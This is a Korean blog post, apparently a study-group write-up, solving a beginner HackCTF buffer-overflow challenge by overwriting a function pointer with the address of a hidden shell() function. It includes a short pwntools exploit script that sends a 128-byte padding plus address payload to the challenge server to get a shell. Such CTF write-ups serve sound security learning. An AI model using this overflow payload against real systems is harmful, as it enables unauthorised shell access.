포너블... 아직 기초지만 너무 재미있다.
📖 1) 문제 파악
...? 우선 gdb로 열어보도록 하자.
📖 2) 문제 분석
처음에 nc 접속하게 되었을 때 보았던 부분이 이곳인 것 같다.
함수 자체는 매우 간단하다. v5라는 포인터 변수에 sup 함수의 주소를 넣어준다.
이후 fgets함수를 실행하고 v5를 실행한다.
sup함수는 그냥 puts만 진행한다.
한 가지 중요한것은, shell() 이라는 함수가 존재한다는 것이다. (하지만 main 내에서는 등장하지 않는다.)
이 shell 함수는 /bin/dash를 실행하는 함수이다. 즉, 우리는 s에서 BOF를 발생시켜 v5를 shell 함수의 주소로 덮어주어야 한다.
이렇게 스택이 쌓여있다고 보면 되겠다.
📖 3) 문제 분석
128byte를 채우고 shell의 주소를 넣어주자. 어차피 fgets는 133byte를 받아준다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3001)
payload = "A" * 128 + "\x9b\x84\x04\x08"
p.sendline(payload)
p.interactive()
📖 4) 문제 해결, 느낀 점
재밌다 ㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎㅎ
'스터디 그룹 > ProjectH4C' 카테고리의 다른 글
ProjectH4C 3개월 1주차 과제(HackCTF - 내 버퍼가 흘러넘친다!!!) (0) | 2021.03.21 |
---|---|
ProjectH4C 3개월 1주차 과제(HackCTF - Basic FSB) (0) | 2021.03.19 |
ProjectH4C 3개월 1주차 과제(HackCTF - Basic BOF#1) (0) | 2021.03.18 |
ProjectH4C 2개월 4주차 과제 (우리집에 GDB 있는데… 메모리 보고갈래?) (0) | 2021.03.14 |
ProjectH4C 2개월 4주차 과제 (코딩도장) (0) | 2021.03.14 |